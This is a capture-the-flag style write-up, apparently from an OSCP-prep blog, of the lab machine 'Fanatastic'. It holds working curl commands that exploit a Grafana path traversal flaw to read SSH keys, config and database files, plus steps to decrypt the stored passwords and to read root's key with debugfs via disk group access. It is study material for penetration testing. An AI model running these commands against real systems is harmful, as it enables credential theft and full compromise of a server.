Braindump
Read BlogpostsLet's Connect
  • Introduction: My OSCP Journey
  • Writeup Index
  • OSCP Machine Writeups
    • πŸ”₯PG - Practice
      • Shenzi
      • DVR4
      • Resourced
      • Kevin
      • Nara
      • Jacko
      • Authby
      • Access
      • Internal
      • Hutch
      • Algernon
      • HelpDesk
      • Squid
      • Hepet
      • Craft2
      • ClamAV
      • Pelican
      • Payday
      • Snookums
      • Bratarina
      • Nibbles
      • Hetemit
      • Hawat
      • Astronaut
      • Exfiltrated
      • Fanatastic
      • Wombo
      • Levram
      • LaVita
    • πŸ’£HackTheBox
      • Devel
      • Legacy
      • Intelligence
        • Learning
      • Blackfield
        • PrivEsc - SeBackupPrivilege
      • Sauna
      • Bastard
      • Arctic
      • Forest
      • Active
      • SecNotes
      • Access
  • Preparation Notes
    • Tips and Tricks
      • File Transfer
      • Download a file - Windows CLI
      • Bypassing Firewall/Defender/UAC
      • Accessing File
      • Reverse Shell
      • OneLiner - Reverse/bind Shell
      • OneLiner - MSFVenom
    • Enumeration Techniques
      • System and Network Enumeration
      • Web Enumeration
      • Service Enum
      • CMS
    • Exploitation
      • Exploiting Web Apps
      • Exploiting Wordpress
      • Public Exploits
    • Privilege Escalation
      • Linux Privilege Escalation
        • Disk Group PrivEsc
      • Windows Privilege Escalation
    • Active Directory
      • Enumeration
      • AD Attacks
      • mimikatz
      • Lateral movement
    • Pivoting and Networking
      • SSH Port Forwarding
      • Ligolo-ng
    • Password Cracking
Powered by GitBook
On this page
  • Summary
  • 🧡 Let's Unpack

Was this helpful?

  1. OSCP Machine Writeups
  2. PG - Practice

Fanatastic

Privilege Escalation via disk group β†’ Access to /dev/sda using debugfs

Summary

  • Discovered Grafana dashboard on port 3000 vulnerable to path traversal (CVE-2021-43798).

  • Retrieved sensitive files including private SSH keys and Grafana database.

  • Decrypted the encrypted password stored in the Grafana DB using its secret_key.

  • Logged in as sysadmin using recovered credentials.

  • Escalated privileges via the disk group by accessing root's SSH key through debugfs.


🧡 Let's Unpack


Enumeration

sudo nmap -sV -sC -p- -Pn 192.168.229.181 --open

Open Ports:

  • 22/tcp β†’ OpenSSH 8.2p1

  • 3000/tcp β†’ Grafana login redirect

  • 9090/tcp β†’ Prometheus (Go-based HTTP API)


Initial Foothold

πŸ” Target: Grafana (port 3000)

home/prometheus/.ssh/id_rsa

/home/sysadmin/.ssh/id_rsa
# reading sensitive file from graphana directory
/etc/grafana/grafana.ini

# reading Graphana database file using curl
/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

curl --path-as-is http://192.168.229.181:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

# reading the database file using sqlite
sqlite graphana.db
>
.tables

select * from data_source;

1|1|1|prometheus|Prometheus|server|http://localhost:9090||||0|sysadmin||0|{}|2022-02-04 09:19:59|2022-02-04 09:19:59|0|{"basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="}|0|HkdQ8Ganz


> base64 creds found
anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

πŸͺͺ Accessed sensitive files:

# SSH keys
curl --path-as-is http://<IP>:3000/public/plugins/alertlist/../../../../../../../../home/sysadmin/.ssh/id_rsa

# Grafana config (contains secret_key)
curl --path-as-is http://<IP>:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

# Grafana database dump
curl --path-as-is http://<IP>:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

πŸ’‘ Reading password

Note: Data sources store passwords and basic auth passwords in secureJsonData encrypted (AES-256 in CFB mode) by default.

πŸ” Password decryption using AES-256

  • Used script from exploit repo to decrypt the stored base64 password.

## We have everything to decrypt the password stored in secureJSONData
basic_auth_user = sysadmin
basicAuthPassword = YUVmMzI...


go run AESDecrypt.go 
>
[*] grafanaIni_secretKey= SW2YcwTI.....
[*] DataSourcePassword= YUVmMz...
[*] plainText= S...

username -> syaadmin
password -> S...

βœ… Credentials:

  • Username: sysadmin

  • Password: SuperS....


Privilege Escalation

πŸ›  Technique: Abusing disk group membership

  • sysadmin was in disk group.

  • Device /dev/sda1 had rw permission for the disk group:

brw-rw---- 1 root disk 8, 1 /dev/sda1

🧬 Exploitation Steps:

# check list of disks mounted on the mnachine
 df -h

# debug file system
debugfs /dev/sda2
debugfs: cd /root/.ssh
debugfs: cat id_rsa
  • Retrieved root’s private key.

  • SSH'd into the box as root.

PreviousExfiltratedNextWombo

Last updated 1 month ago

Was this helpful?

Vulnerability: Path Traversal –

πŸ”₯
CVE-2021-43798
https://github.com/jas502n/Grafana-CVE-2021-43798